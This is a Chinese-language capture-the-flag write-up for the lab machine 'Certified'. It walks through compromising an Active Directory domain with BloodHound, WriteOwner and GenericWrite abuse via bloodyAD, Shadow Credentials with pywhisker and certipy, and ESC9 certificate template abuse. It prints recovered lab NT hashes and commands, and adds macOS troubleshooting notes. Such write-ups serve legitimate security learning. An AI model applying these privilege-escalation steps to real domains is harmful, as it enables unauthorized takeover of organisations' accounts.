Certified

Certified
CH0ico1 | TARGET="10.129.26.213" |
01. 信息搜集
端口扫描
1 | sudo nmap -sT -sV -sC -O -p 53,88,135,139,389,445,636,3268,3269,5985 $TARGET -oA nmapscan/detail |
| 端口 | 服务 | 关键信息 |
|---|---|---|
| 53 | DNS | Simple DNS Plus |
| 88 | Kerberos | 域控特征 |
| 389/636/3268/3269 | LDAP(S) | Domain: certified.htb, DC: DC01.certified.htb |
| 445 | SMB | signing:True, SMBv1:False, Null Auth:True |
| 5985 | WinRM | HTTPAPI 2.0 |
_clock-skew: mean: 7h00m00s — macOS 与 DC 有 7 小时偏差,后续 Kerberos 操作必须同步时钟。
域名与 hosts
1 | echo "10.129.26.213 certified.htb" | sudo tee -a /etc/hosts |
UDP 扫描
1 | sudo nmap -sU --top-ports 20 $TARGET -oA nmapscan/udp |
02.权限提升
已知凭据:judith.mader : judith09
BloodHound 分析
1 | bloodhound-python -d certified.htb -u 'judith.mader' -p 'judith09' \ |
攻击路径:
1 | judith.mader ──WriteOwner──▶ MANAGEMENT 组 |
即 judith 可夺取 management 组所有权 → 加入该组 → 利用 GenericWrite 控制 management_svc → WinRM 登录拿 user flag。
Kerberoasting(失败)
management_svc 有 SPN,尝试 Kerberoasting:
1 | GetUserSPNs.py certified.htb/judith.mader:judith09 -dc-ip $TARGET -request-user management_svc |
进组(WriteOwner 利用)
攻击计划:set owner → add genericAll → add groupMember
1 | bloodyAD --host $TARGET -d certified.htb -u judith.mader -p judith09 set owner management judith.mader |
第一次尝试失败分析
bloodyAD add groupMember 报了 [+] judith.mader added to management,但验证发现 judith 实际并未入组:
1 | bloodyAD --host $TARGET -d certified.htb -u judith.mader -p judith09 get object management --attr member |
后续 certipy shadow auto 报 INSUFF_ACCESS_RIGHTS。
根因:bloodyAD add groupMember 的 [+] 提示具有误导性——LDAP 写操作被 DC 拒绝但工具未报错。原因是执行顺序问题:虽然 set owner 获得隐式 WRITE_DAC,但 owner 权限不自动包含 member 属性的 WRITE_PROPERTY,必须等 add genericAll 的 ACE 在 DC 上生效后,add groupMember 才能真正写入。
教训:每次修改 AD 对象后,立即用 get object --attr member 验证,不要信任工具的 [+] 提示。严格按 set owner → add genericAll → 验证 → add groupMember → 验证 的顺序执行。
macOS 环境适配
全程在 macOS 下完成,以下工具链差异对照:
| 原方案(Linux) | macOS 问题 | 替代方案 |
|---|---|---|
dacledit.py |
Python hashlib 缺 MD4 → unsupported hash type MD4 |
bloodyAD add genericAll |
net rpc group addmem |
新版 impacket net.py 只支持枚举 |
bloodyAD add groupMember |
certipy auth -pfx |
不支持 -password 传 PFX 密码 |
openssl 转无密码 PFX |
certipy req 直连 |
NetBIOS 名称解析超时 | 加 -target-ip + -target |
sudo ntpdate |
本地时间与 DC 偏差 7h,Kerberos 全部 KRB_AP_ERR_SKEW |
必须 sudo ntpdate -u $TARGET |
Shadow Credentials 原理
Shadow Credentials 是 Kerberos PKINIT 扩展的利用技术。核心流程:
1 | GenericWrite on 目标用户 |
与传统的密码认证不同,PKINIT 使用证书/密钥对替代密码。AD 在 msDS-KeyCredentialLink 属性中存储 KeyCredential 结构(包含公钥 + 设备 ID),当 PKINIT 请求携带对应私钥签名时,DC 即可认证该用户——全程不需要知道密码。
为什么 GenericWrite 能打 Shadow Credentials?
GenericWrite 允许对目标对象写入任意非保护属性。msDS-KeyCredentialLink 恰好是一个非保护、多值属性。因此只要对目标用户有 GenericWrite,就能:
- 写入一个自定义的 KeyCredential(公钥)
- 保留该公钥对应的私钥
- 用私钥通过 PKINIT 获取该用户的 TGT
这是一条完全绕过密码的横向移动路径。
前置条件
- 对目标用户有 GenericWrite / GenericAll / WriteProperty on msDS-KeyCredentialLink
- 目标域控 ≥ Windows Server 2016(支持 KeyCredential)
- 域内 ADCS 可用(PKINIT 依赖 CA 签发证书),或使用自签名证书
Shadow Credentials 实战 → management_svc
Step 1:pywhisker 写入影子凭证
1 | pywhisker -d "certified.htb" -u "judith.mader" -p "judith09" \ |
| 参数 | 含义 |
|---|---|
-d |
目标域名(certified.htb) |
-u / -p |
攻击者的明文凭据(judith.mader),用于 LDAP 认证 |
--target |
目标用户 sAMAccountName(management_svc) |
--action add |
向目标的 msDS-KeyCredentialLink 写入新的 KeyCredential |
--dc-ip |
直接指定 DC IP,不走 DNS 解析 |
输出产物:
XFj0RIPo.pfx— PKCS#12 格式证书 + 私钥(受密码保护)- 密码:
H0dfEOKA6vOQXoMq9LPK
pywhisker 使用 LDAP 协议写入属性,不经过 Kerberos,因此不受时钟偏差影响。这也是为什么在未同步时钟时此步就能成功。
Step 2:openssl 转换为无密码 PFX
certipy 的 auth 子命令不支持传递 PFX 密码(load_pfx(pfx, password=None)),因此需要转换为无密码 PFX:
1 | # 提取私钥 |
Step 3:certipy auth 获取 TGT + NT Hash
1 | # ⚠️ 必须先 sudo ntpdate -u $TARGET(PKINIT 走 Kerberos,有时钟要求) |
| 参数 | 含义 |
|---|---|
-pfx |
PFX/P12 证书文件(含私钥) |
-domain |
目标域名 |
-dc-ip |
DC IP 地址 |
-username |
目标用户的 UPN(management_svc@certified.htb),用于构造 AS-REQ |
内部流程:
- 从 PFX 解析私钥和证书
- 构造 PKINIT AS-REQ 发送到 KDC(DC:88)
- DC 在
msDS-KeyCredentialLink中找到匹配的公钥 → 签发 TGT - 用 TGT 通过 Kerberos U2U 或 TGS-REQ 向 DC 请求该用户的 NT Hash
- 输出 NTLM Hash,同时保存
.ccache票据文件
✅ management_svc: a091c1832bcdd4677c28b5a6a1295584
certipy auth 在 TGT 阶段如果卡住,90% 是时钟偏差问题。
sudo ntpdate -u $TARGET后重试即可。
横向移动 → ca_operator
BloodHound:management_svc 对 ca_operator 有 GenericAll。同样 Shadow Credentials 手法:
1 | pywhisker -d "certified.htb" -u "management_svc" \ |
ca_operator: b4b86f45c6018f1b664f70805f45d8f2
ESC9 提权 → Administrator
ca_operator 可注册 CertifiedAuthentication 模板(no security extension),ESC9:修改 UPN 伪装 Administrator 申请证书。
1 | # 1. 改 UPN → Administrator |
Administrator: 0d5b49608bbce1751f708748f67e2d34
Flag
1 | # 渗透流量走非 HTTP 协议,绕过本地代理 |
| Flag | 值 |
|---|---|
| User (management_svc) | 47bfd*****1ed812 |
| Root (Administrator) | ad2f8*****13944a |
03.攻击链路
1 | judith.mader ──WriteOwner──▶ MANAGEMENT 组 |
04.踩坑复盘
| # | 坑 | 现象 | 根因 / 解法 |
|---|---|---|---|
| 1 | bloodyAD add groupMember 谎报成功 |
get object --attr member 验证发现并未入组 |
LDAP 层拒绝但工具未报错;严格按序执行 + 每步验证 |
| 2 | macOS 时钟偏差 7 小时 | Kerberos 全部 KRB_AP_ERR_SKEW |
sudo ntpdate -u $TARGET |
| 3 | certipy auth 不支持 PFX 密码 | Invalid password or PKCS12 data |
openssl 转无密码 PFX |
| 4 | certipy req NetBIOS 超时 | The NETBIOS connection timed out |
加 -target-ip + -target |
| 5 | impacket 新版 net.py 阉割 |
unrecognized arguments: addmem |
bloodyAD add groupMember 替代 |
| 6 | certipy shadow auto 卡 TGT | 时钟偏差致 PKINIT 超时 | 拆成 pywhisker add + certipy auth 两步 |
| 7 | 本地代理拦截渗透流量 | WinRM/SMB 全部超时,evil-winrm 报 SSL error | Clash 代理(127.0.0.1:7890)不理解 SMB/WinRM 二进制协议;unset *_PROXY |
坑 #7 详解:Clash/V2Ray 在
127.0.0.1:7890是 HTTP/SOCKS5 代理,Python 的urllib、Ruby 的Net::HTTP、impacket 底层 socket 都会读取HTTP_PROXY环境变量。SMB(445)和 WinRM(5985)走裸 TCP 二进制协议,代理收到 SMB NEGOTIATE 包(\x00\x00\x00\xa4\xff\x53\x4d\x42...)后无法解析,直接丢弃 → 客户端永久等待 → timeout。渗透测试时必须unset这些代理变量。






